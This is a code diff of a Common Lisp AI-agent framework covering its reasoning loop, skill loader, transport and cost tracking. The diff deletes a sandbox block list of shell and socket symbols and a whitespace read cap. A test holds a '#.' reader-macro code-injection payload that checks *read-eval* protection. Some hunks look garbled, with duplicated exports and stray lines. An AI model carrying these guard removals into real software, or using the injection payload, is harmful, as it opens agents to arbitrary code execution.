(let ((focus-info (or (st :foveal-id) "")))
(when (and focus-info (> (length focus-info) 0))
(cl-tty.backend:draw-text fb 1 2 (format nil " [Focus: ~a]" focus-info)
(theme-color :timestamp) bg)))
(theme-color :timestamp) nil)))
(cl-tty.backend:draw-text fb (max 1 (- w 12)) 2 (format nil " ~a" (now))
(theme-color :timestamp) bg)
;; Line 3: Directory, LSP, MCP, commands hint (v0.8.0)
(let* ((cwd (or (uiop:getenv "PWD") (uiop:getcwd)))
(dir (subseq cwd (max 0 (- (length cwd) (- w 45)))))
(lsp-color (if (st :connected) :green :dim))
(mcp-count (or (st :mcp-count) 0))
(hint " Ctrl+P: commands /help: help"))
(cl-tty.backend:draw-text fb 1 3 (format nil " ~a" dir) (theme-color :dim) bg)
(cl-tty.backend:draw-text fb (+ 2 (length dir)) 3 "●" (theme-color lsp-color) bg)
(cl-tty.backend:draw-text fb (+ 5 (length dir)) 3 (format nil " MCP:~d" mcp-count)
(theme-color :dim) bg)
(cl-tty.backend:draw-text fb (- w (length hint) 2) 3 hint (theme-color :timestamp) bg))))
(theme-color :timestamp) nil)))
;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown
(defun search-highlight (content query)

13
lisp/core-act.lisp
View File

@@ -32,19 +32,6 @@
0))
(setf (getf (getf action :payload) :foveal-id)
(getf context :foveal-id))
;; v0.8.0: sidebar enrichment via fboundp guards
(when (fboundp 'dispatcher-block-counts-summary)
(setf (getf (getf action :payload) :block-counts)
(dispatcher-block-counts-summary)))
(when (fboundp 'context-usage-percentage)
(setf (getf (getf action :payload) :context-usage)
(context-usage-percentage)))
(when (fboundp 'tool-modified-files-summary)
(setf (getf (getf action :payload) :modified-files)
(tool-modified-files-summary)))
(when (fboundp 'cost-session-summary)
(setf (getf (getf action :payload) :session-cost)
(cost-session-summary)))
(format stream "~a" (frame-message action))
(finish-output stream))))))

302
lisp/core-package.lisp
View File

@@ -1,40 +1,24 @@
(defpackage :passepartout
(:use :cl)
(:export
;; ── Core: Transport & Protocol ──
#:frame-message
#:read-framed-message
#:PROTO-GET
#:proto-get
#:PROTO-GET
#:proto-get
#:*VAULT-MEMORY*
#:make-hello-message
#:validate-communication-protocol-schema
#:start-daemon
#:register-actuator
#:actuator-initialize
#:action-dispatch
;; ── Core: Pipeline ──
#:main
#:log-message
#:*log-buffer*
#:*log-lock*
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:stimulus-inject
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
;; ── Core: Memory ──
#:main
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:register-provider
#:provider-openai-request
#:provider-config
#:run-setup-wizard
#:ingest-ast
#:memory-object-get
#:*memory-store*
@@ -51,7 +35,6 @@
#:memory-object-content
#:memory-object-hash
#:memory-object-scope
#:memory-objects-by-attribute
#:snapshot-memory
#:rollback-memory
#:undo-snapshot
@@ -59,12 +42,10 @@
#:redo
#:*undo-stack*
#:*redo-stack*
;; ── Core: Context & Awareness ──
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:push-context
#:pop-context
#:current-context
@@ -76,25 +57,91 @@
#:focus-session
#:focus-memex
#:unfocus
#:*scope-resolver*
;; ── Core: Skills Engine ──
#:skill
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:json-alist-to-plist
#:inject-stimulus
#:stimulus-inject
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize
#:action-dispatch
#:register-actuator
#:load-skill-from-org
#:skill-initialize-all
#:lisp-syntax-validate
#:defskill
#:*skill-registry*
#:*scope-resolver*
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
#:defskill
#:*skill-registry*
#:skill-initialize-all
#:load-skill-from-org
#:lisp-syntax-validate
;; ── Core: Cognitive Tools ──
#:def-cognitive-tool
#:*cognitive-tool-registry*
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:literate-tangle-sync-check
#:archivist-create-note
#:gateway-start
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
#:get-oc-config-dir
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
@@ -102,128 +149,53 @@
#:cognitive-tool-guard
#:cognitive-tool-body
#:tool-read-only-p
;; ── Security: Dispatcher ──
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
;; ── Security: HITL ──
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
;; ── Security: Vault & Permissions ──
#:*VAULT-MEMORY*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:policy-compliance-check
#:validator-protocol-check
;; ── Embedding ──
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
;; ── Channels ──
#:channel-cli-input
#:gateway-start
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
;; ── Programming: Lisp ──
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
;; ── Programming: Org ──
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
;; ── Programming: Literate & REPL ──
#:literate-tangle-sync-check
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:repl-eval
#:repl-inspect
#:repl-list-vars
;; ── Symbolic ──
#:archivist-create-note
#:archivist-extract-headlines
#:archivist-headline-to-filename
;; ── Diagnostics & Config ──
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:get-oc-config-dir
#:run-setup-wizard
;; ── Providers ──
#:register-provider
#:provider-openai-request
#:provider-config
;; ── Token Economics ──
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute
#:channel-cli-input
#:repl-eval
#:repl-inspect
#:repl-list-vars
#:policy-compliance-check
#:validator-protocol-check
#:archivist-extract-headlines
#:archivist-headline-to-filename
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
(in-package :passepartout)
(defun plist-get (plist key)
"Robust plist accessor — checks both :KEY and :key variants."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
(defvar *log-buffer* nil)
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
(defvar *log-limit* 100)

3
lisp/core-perceive.lisp
View File

@@ -19,6 +19,9 @@
FN receives (signal) and returns T if consumed, nil to continue."
(setf (gethash sensor *pre-reason-handlers*) fn))
(defun inject-stimulus (raw-message &key stream (depth 0))
(stimulus-inject raw-message :stream stream :depth depth))
(defun stimulus-inject (raw-message &key stream (depth 0))
"Inject a raw message into the signal processing pipeline."
(let* ((payload (getf raw-message :payload))

91
lisp/core-pipeline.lisp
View File

@@ -1,39 +1,5 @@
(in-package :passepartout)
(define-condition passepartout-error (error)
((message :initarg :message :reader error-message))
(:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
(:documentation "Root of the pipeline error hierarchy."))
(define-condition pipeline-error (passepartout-error)
((signal :initarg :signal :reader pipeline-error-signal :initform nil))
(:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
(:documentation "Any error during the Perceive→Reason→Act cycle."))
(define-condition llm-error (pipeline-error)
((provider :initarg :provider :reader llm-error-provider)
(cascade :initarg :cascade :reader llm-error-cascade :initform nil)
(attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
(:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
(:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
(define-condition gate-error (pipeline-error)
((gate-name :initarg :gate-name :reader gate-error-gate-name)
(rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
(:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
(:documentation "Deterministic gate blocked a proposed action."))
(define-condition budget-error (pipeline-error)
((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
(requested :initarg :requested :reader budget-error-requested :initform 0.0))
(:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
(:documentation "Session budget cap has been reached."))
(define-condition protocol-error (passepartout-error)
((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
(:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
(:documentation "Malformed message, framing failure, or schema violation."))
(defvar *interrupt-flag* nil
"Atomic flag set by signal handlers to trigger graceful shutdown.")
@@ -57,42 +23,27 @@
(log-message "METABOLISM: Interrupted by shutdown signal.")
(return nil))
(restart-case
(handler-bind
((pipeline-error (lambda (c)
(log-message "PIPELINE ERROR: ~a" (error-message c)))))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
(skip-signal ()
:report "Drop the current signal and continue the loop."
(setf current-signal nil))
(use-fallback (text)
:report "Inject a canned response instead of the LLM result."
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message text :depth depth))))
(abort-pipeline ()
:report "Terminate the cognitive cycle cleanly."
(return nil)))))))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
(defun process-signal (signal)
(loop-process signal))

249
lisp/core-reason.lisp
View File

@@ -7,12 +7,17 @@
"Register FN as the handler for provider NAME."
(setf (gethash name *probabilistic-backends*) fn))
(defvar *backend-registry* (make-hash-table :test 'equal))
(defvar *provider-cascade* nil)
(defvar *model-selector* nil)
(defvar *consensus-enabled* nil)
(defun backend-register (name fn)
(setf (gethash name *backend-registry*) fn))
(defun backend-cascade-call (prompt &key
(system-prompt "You are the Probabilistic engine.")
(cascade nil)
@@ -23,7 +28,8 @@
(dolist (backend backends (or result
(list :type :LOG
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
(let ((backend-fn (gethash backend *probabilistic-backends*)))
(let ((backend-fn (or (gethash backend *backend-registry*)
(gethash backend *probabilistic-backends*))))
(when backend-fn
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (and *model-selector*
@@ -88,18 +94,19 @@
(if (string= provider-names "") "default" provider-names)
context-window gate-count rules-count)))
(defun think-assemble-prompt (context)
"Phase 2-3 of the metabolic cycle: context + system prompt assembly.
Returns three values: system-prompt, raw-prompt, reply-stream."
(defun think (context)
;; v0.7.2: auto-snapshot at turn boundaries
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(let* ((sensor (proto-get (proto-get context :payload) :sensor))
(active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(reply-stream (proto-get context :reply-stream))
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(system-logs (if (fboundp 'context-get-system-logs)
(context-get-system-logs)
"[No system logs available]"))
@@ -113,126 +120,100 @@ Returns three values: system-prompt, raw-prompt, reply-stream."
(reflection-feedback (if rejection-trace
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
""))
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
(identity-content (if (fboundp 'agent-identity)
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section)
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration)
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
(identity-content (if (fboundp 'agent-identity) ; v0.7.2: symbolic identity
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section) ; v0.7.2: live config
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration) ; v0.6.0: temporal awareness
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
;; v0.5.0: cached prefix with optional budget enforcement
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section pfx (or ctxt "") logs))
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section pfx (or ctxt "") logs))
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section prefix (or global-context "") system-logs)))
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(values system-prompt raw-prompt reply-stream)))
(defun think-call-llm (raw-prompt system-prompt reply-stream context)
"Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
Returns the raw LLM response (string or plist with :tool-calls)."
;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
(when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
(return-from think-call-llm (budget-exhaustion-message)))
(if (and reply-stream (fboundp 'cascade-stream))
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(defun think-parse-response (thought)
"Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
Returns an action plist ready for cognitive-verify."
(let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0)
(or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(error ()
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE
:TEXT (if (stringp cleaned) cleaned "No response")
:EXPLANATION "Generated by the Probabilistic engine.")))))))
(defun think (context)
"The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
and response parsing into an action plist for cognitive-verify."
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(multiple-value-bind (system-prompt raw-prompt reply-stream)
(think-assemble-prompt context)
(let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
(think-parse-response thought))))
time-section config-section prefix (or global-context "") system-logs)))
;; Fallback when token-economics not loaded
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(let* ((thought (if (and reply-stream (fboundp 'cascade-stream)) ; v0.7.1: streaming
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(tool-calls (and (listp thought) (getf thought :tool-calls))))
;; v0.5.0: cost tracking after successful cascade
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
(format nil "~a~%~a" system-prompt raw-prompt)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
;; Ensure explanation is present in the payload for policy gate
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
(defun json-alist-to-plist (alist)
"Convert a JSON alist to a keyword-prefixed plist."
@@ -418,8 +399,8 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(test test-backend-cascade-with-mock
"Contract 4: backend-cascade-call returns content from first successful backend."
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*backend-registry*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "mock-response")))
@@ -428,9 +409,9 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(test test-read-eval-rce-blocked
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* '(:mock-evil)))
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
(setf (gethash :mock-evil passepartout::*backend-registry*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
@@ -498,7 +479,7 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(let ((passepartout::*memory-snapshots* nil)
(passepartout::*memory-store* (make-hash-table :test 'equal)))
(setf (gethash "pre" passepartout::*memory-store*) "value")
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* nil))
(handler-case
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))

35
lisp/core-skills.lisp
View File

@@ -15,6 +15,8 @@
(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
(defvar *skill-registry* (make-hash-table :test 'equal))
(defvar *skill-catalog* (make-hash-table :test 'equal)
"Tracks all discovered skill files and their loading state.")
@@ -203,14 +205,6 @@ declarations so embedded test code evaluates in the correct package."
(progn
(multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan lisp-code)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-org nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -239,23 +233,6 @@ declarations so embedded test code evaluates in the correct package."
(log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
(setf (skill-entry-status entry) :failed) nil))))
(defvar *skill-restricted-symbols*
'("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
"bt:make-thread" "bordeaux-threads:make-thread"
"usocket:socket-connect" "usocket:socket-listen"
"hunchentoot:start" "hunchentoot:accept-connections")
"Symbol patterns blocked from skill source code at load time.")
(defun skill-source-scan (code-string)
"Scans CODE-STRING for restricted symbol references.
Returns (values blocked-p matched-symbols)."
(let ((lower (string-downcase code-string))
(matches nil))
(dolist (pattern *skill-restricted-symbols*)
(when (search pattern lower)
(push pattern matches)))
(values (and matches t) (nreverse matches))))
(defun load-skill-from-lisp (filepath)
"Loads a .lisp skill file directly, filtering out in-package forms."
(let* ((skill-base-name (pathname-name filepath))
@@ -266,14 +243,6 @@ Returns (values blocked-p matched-symbols)."
(pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
(multiple-value-bind (valid-p err) (lisp-syntax-validate content)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan content)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-lisp nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))

4
lisp/core-transport.lisp
View File

@@ -40,9 +40,7 @@
(handler-case
(progn
(loop for char = (peek-char nil stream nil :eof)
for ws-count from 0
while (and (not (eq char :eof)) (< ws-count 4096)
(member char '(#\Space #\Newline #\Tab #\Return)))
while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
do (read-char stream))
(let ((count (read-sequence length-buffer stream)))
(if (< count 6)

64
lisp/cost-tracker.lisp
View File

@@ -9,12 +9,8 @@
(defun cost-track-call (provider prompt-text &optional response-text)
"Compute and accumulate the cost of a single LLM call.
Returns the cost of this call in USD."
(let* ((input-tokens (if (fboundp 'count-tokens)
(funcall (symbol-function 'count-tokens) (or prompt-text ""))
(ceiling (length (or prompt-text "")) 4)))
(output-tokens (if (and response-text (fboundp 'count-tokens))
(funcall (symbol-function 'count-tokens) response-text)
0))
(let* ((input-tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
(output-tokens (if response-text (funcall (symbol-function 'count-tokens) response-text) 0))
(total-tokens (+ input-tokens output-tokens))
(cost (provider-token-cost provider total-tokens)))
(bordeaux-threads:with-lock-held (*session-cost-lock*)
@@ -45,19 +41,13 @@ Returns the cost of this call in USD."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
(getf *session-cost* :by-provider)))
(defun cost-session-summary ()
"Returns plist (:total <float> :calls <int> :by-provider <alist>)."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
(list :total (getf *session-cost* :total)
:calls (getf *session-cost* :calls)
:by-provider (getf *session-cost* :by-provider))))
(defun cost-session-reset ()
"Zeroes the session cost accumulator."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
